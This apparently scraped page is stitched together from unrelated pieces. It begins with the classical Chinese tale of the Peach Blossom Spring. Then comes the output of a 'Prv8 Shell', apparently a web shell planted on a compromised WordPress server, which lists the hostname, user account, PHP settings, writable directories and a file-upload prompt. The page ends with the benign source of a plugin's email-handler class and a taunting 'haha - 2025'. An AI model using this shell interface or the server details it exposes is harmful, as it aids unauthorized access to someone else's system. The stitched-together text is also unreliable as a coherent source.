晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/digits/includes/forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/digits/includes/forms/email_handler.php
<?php

namespace DigitsFormHandler;


use DigitsDeviceAuth;
use DigitsNoticeException;
use DigitsSettingsHandler\UserAccountInfo;
use DigitsUserFormHandler\UserSettingsHandler;
use Exception;
use WP_Error;
use WP_User;


if (!defined('ABSPATH')) {
    exit;
}


final class EmailHandler
{
    protected static $_instance = null;
    public $type;
    public $user;
    public $to;
    public $from;
    public $body;
    public $display_name;
    public $subject;

    /**
     * @throws Exception
     */
    public function __construct($type = '')
    {
        if (!empty($type)) {
            $this->predefined_emails($type);
        }
    }

    /**
     * @throws Exception
     */
    public function predefined_emails($type)
    {
        $this->type = $type;
        switch ($type) {
            case 'login':
                $subject = __('Log in to {{sitename}}', 'digits');
                $mail_type = 'email_login';
                break;
            case 'verify_email':
            case 'register':
                $subject = __('Verify your Email Address', 'digits');
                $mail_type = 'email_verify';
                break;
            case 'forgot':
                $subject = __('Forgot your password?', 'digits');
                $mail_type = 'email_forgot';
                break;
            default:
                throw new Exception(__("Error! Not found", "digits"));
        }
        $this->subject = $subject;
        $this->body = $this->get_template($mail_type);

    }

    public function get_template($mail_type)
    {
        return $this->get_file_contents($mail_type);
    }

    public function get_file_contents($file_name)
    {
        $location = get_digits_dir() . '/templates/' . $file_name . '.php';

        if (file_exists($location)) {
            ob_start();

            require_once $location;
            $template = ob_get_contents();
            ob_end_clean();
            return $template;
        }
        return false;
    }

    public function setUser($user)
    {
        $this->user = $user;

        if (!empty($user->user_email)) {
            $this->to = $this->user->user_email;
        }

        $this->display_name = $user->display_name;
    }

    public function parse_placeholders($args = array())
    {
        $image_url = '';

        $digits_admin_email_style = get_option('digits_form_email_style', array());
        if (!empty($digits_admin_email_style['logo'])) {
            $image_url = $digits_admin_email_style['logo'];
        } else {
            $custom_logo_id = get_theme_mod('custom_logo');
            $image = wp_get_attachment_image_src($custom_logo_id, 'medium');
            if (!empty($image)) {
                $image_url = $image[0];
            }
        }


        $site_name = get_bloginfo('name');

        $placeholder_values = array(
            '{{site-logo}}' => $image_url,
            '{{sitename}}' => $site_name,
            '{{sitelink}}' => home_url(),
        );

        if (!empty($this->user) && $this->user instanceof WP_User) {
            $placeholder_values['{{name}}'] = $this->user->display_name;
        }

        $placeholder_values = array_merge($placeholder_values, $args);


        $this->subject = apply_filters('digits_email_subject', $this->subject, $placeholder_values);

        $placeholder_values = apply_filters('digits_email_placeholders', $placeholder_values, $this->type, $this->user);

        $this->subject = strtr($this->subject, $placeholder_values);

        $this->body = strtr($this->body, $placeholder_values);

    }

    public function send()
    {
        if (empty($this->to)) {
            throw new Exception(__('Cannot send email to an empty address', 'digits'));
        }
        return digit_send_email($this->to, $this->subject, $this->body, $this->display_name);
    }

    /**
     * @param mixed $subject
     */
    public function setSubject($subject)
    {
        $this->subject = $subject;
    }

    /**
     * @param mixed $body
     */
    public function setBody($body)
    {
        $this->body = $body;
    }

    /**
     * @param mixed $from
     */
    public function setFrom($from)
    {
        $this->from = $from;
    }

    /**
     * @param mixed $to
     */
    public function setTo($to)
    {
        $this->to = $to;
    }

    /**
     * @param mixed $display_name
     */
    public function setDisplayName($display_name)
    {
        $this->display_name = $display_name;
    }
}

haha - 2025